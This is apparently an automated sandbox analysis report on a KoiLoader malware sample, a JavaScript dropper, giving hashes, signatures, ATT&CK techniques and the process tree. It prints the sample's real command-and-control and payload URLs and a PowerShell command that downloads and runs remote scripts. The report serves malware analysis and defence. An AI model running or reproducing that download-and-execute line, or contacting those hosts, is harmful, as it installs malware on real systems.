koiloader | f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
12-06-2024 02:33

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General

Target

f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37.js
Size

1KB
MD5

b8b73de27d87836914a258507b8066cc
SHA1

bb10873bfb35fb2d7ffb2942bba35d65068f6f70
SHA256

f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37
SHA512

085fdbe93fb90614701bd5361933e47e3a2992e9d2fe6379b5e1c60e51628ee05b988ca8fac171d0b11f1485efb21b995f0262097e18708a6b062256d6a66c0b

Score

10^/10

koiloader execution loader

Malware Config

Extracted

Family

koiloader

http://89.251.22.227/guacos.php

Attributes

payload_url
https://lechiavetteusb.it/imgs/usb/logo

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Detects KoiLoader payload 1 IoCs
loader

Processes:

resource yara_rule

behavioral2/memory/3424-25-0x0000000007DE0000-0x0000000007DED000-memory.dmp family_koi_loader
Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 1 IoCs

Processes:

resource yara_rule

behavioral2/memory/3424-25-0x0000000007DE0000-0x0000000007DED000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

16 3424 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wscript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation wscript.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3424 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3424 powershell.exe
3424 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3424 powershell.exe

resource	yara_rule
behavioral2/memory/3424-25-0x0000000007DE0000-0x0000000007DED000-memory.dmp	family_koi_loader

resource	yara_rule
behavioral2/memory/3424-25-0x0000000007DE0000-0x0000000007DED000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM

flow	pid	process
16	3424	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation	wscript.exe

pid	process
3424	powershell.exe

pid	process
3424	powershell.exe
3424	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3424	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

wscript.exe

description	pid	process	target process
PID 3748 wrote to memory of 3424	3748	wscript.exe	powershell.exe
PID 3748 wrote to memory of 3424	3748	wscript.exe	powershell.exe
PID 3748 wrote to memory of 3424	3748	wscript.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3748

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$env:paths = '7z6CIMQJA0CS'; IEX(IWR -UseBasicParsing 'https://lechiavetteusb.it/imgs/usb/logo/khesariQUXH.ps1'); $vv.SetValue($null, [bool]'RGJU7PGYEPE'); IEX(IWR -UseBasicParsing 'https://lechiavetteusb.it/imgs/usb/logo/wizeninglYZn.ps1')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3424

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y1z5leyt.fjy.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3424-7-0x0000000006050000-0x00000000060B6000-memory.dmp

Filesize
408KB

Download
memory/3424-5-0x0000000074AE0000-0x0000000075290000-memory.dmp

Filesize
7.7MB

Download
memory/3424-19-0x00000000066F0000-0x000000000670E000-memory.dmp

Filesize
120KB

Download
memory/3424-20-0x0000000006710000-0x000000000675C000-memory.dmp

Filesize
304KB

Download
memory/3424-6-0x0000000005930000-0x0000000005952000-memory.dmp

Filesize
136KB

Download
memory/3424-8-0x00000000060C0000-0x0000000006126000-memory.dmp

Filesize
408KB

Download
memory/3424-2-0x0000000003120000-0x0000000003156000-memory.dmp

Filesize
216KB

Download
memory/3424-1-0x0000000074AEE000-0x0000000074AEF000-memory.dmp

Filesize
4KB

Download
memory/3424-30-0x0000000074AE0000-0x0000000075290000-memory.dmp

Filesize
7.7MB

Download
memory/3424-3-0x0000000005A20000-0x0000000006048000-memory.dmp

Filesize
6.2MB

Download
memory/3424-4-0x0000000074AE0000-0x0000000075290000-memory.dmp

Filesize
7.7MB

Download
memory/3424-21-0x0000000007E20000-0x000000000849A000-memory.dmp

Filesize
6.5MB

Download
memory/3424-22-0x0000000006C00000-0x0000000006C1A000-memory.dmp

Filesize
104KB

Download
memory/3424-23-0x0000000074AE0000-0x0000000075290000-memory.dmp

Filesize
7.7MB

Download
memory/3424-24-0x0000000007D40000-0x0000000007D41000-memory.dmp

Filesize
4KB

Download
memory/3424-25-0x0000000007DE0000-0x0000000007DED000-memory.dmp

Filesize
52KB

Download
memory/3424-31-0x0000000074AE0000-0x0000000075290000-memory.dmp

Filesize
7.7MB

Download
memory/3424-18-0x0000000006230000-0x0000000006584000-memory.dmp

Filesize
3.3MB

Download